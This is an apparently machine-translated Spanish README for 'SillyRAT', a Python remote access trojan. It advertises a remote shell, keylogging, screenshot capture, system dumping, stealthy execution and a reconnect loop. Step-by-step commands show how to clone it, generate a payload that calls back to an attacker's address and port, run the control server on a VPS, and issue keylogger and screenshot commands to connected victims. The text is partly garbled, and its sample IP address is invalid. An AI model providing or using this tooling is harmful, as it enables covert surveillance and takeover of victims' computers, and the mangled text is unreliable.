ratón tonto es una RAT multiplataforma escrita en Python puro. La RAT acepta comandos y parámetros para actuar como un servidor que acepta conexiones o como un cliente/objetivo que establece una conexión con un servidor.Esta Produce Comando usando módulos Instalador Compile el código de carga útil real. Entonces, para generar el archivo de carga útil para su plataforma respectiva, debe estar en esa plataforma al generar el archivo. Además, puede obtener los archivos de origen directamente.
- Shell incorporado para la ejecución de comandos
- Volcar la información del sistema, incluidas las unidades y la memoria
- Módulo de captura de pantalla. Capture una captura de pantalla de la pantalla del cliente.
- bucle de conexión (continuará conectándose al servidor)
- Actualmente, utiliza la codificación BASE64.
- pitón pura
- Multiplataforma. (Probado en Linux. Se aceptan errores)
- Incluir archivos de origen para la prueba
- pitón 3
- ejecución sigilosa
- cifrado
- Almacenar la última sesión intentada
- Notificaciones push cuando los clientes se conectan
Instalar en pc
La herramienta está probada sistema operativo loro y pitón 3.8Siga los pasos a continuación para instalar:
$ git clonar https://github.com/hash3liZer/SillyRAT.git
$ cd ratón tonto/
$ pip3 install -r requisitos.txt
Documentación
Puede obtener el archivo de carga útil de dos maneras:
Los archivos de origen siguen siendo los mismos en todas las plataformas. Así que puedes construirlo en una plataforma y usarlo en otra. Obtener archivos fuente:
$ python3 server.py generar –dirección 134.276.92.1 –puerto 2999 –salida /tmp/payload.py –fuente
La versión compilada debe generarse en la plataforma respectiva. Por ejemplo, no puede generar archivos .exe en Linux. Específicamente debe estar en Windows. La herramienta aún se está probando. Por lo tanto, varios errores son aceptables. Asegúrate de abrir un problema. Cree una compilación para Linux:
$ python3 server.py generar –dirección 134.276.92.1 –puerto 2999 –salida /tmp/filer
Sustituya su dirección IP y puerto en el comando anterior.
El servidor debe ejecutarse en Linux. Puedes comprar un VPS o un servidor en la nube para conectarte. Para que conste, el servidor no almacena ninguna sesión que se haya ejecutado por última vez. Entonces, una vez que finaliza la aplicación del servidor, se perderá todo el progreso. Ejecute su servidor:
$ python3 sillyrat.py enlazar –dirección 0.0.0.0 –puerto 2999
conectar
Todas las conexiones se enumerarán a continuación. conversacion Pedido:
$sesión
Puede conectarse a su sesión de destino conectar y ejecute uno de los comandos disponibles:
$ID de conexión
$ registrador de teclas
volcado de $keylogging
$captura de pantalla
ayuda
Obtenga una lista de los comandos disponibles:
$ ayuda
Ayuda para comandos específicos:
comando de ayuda $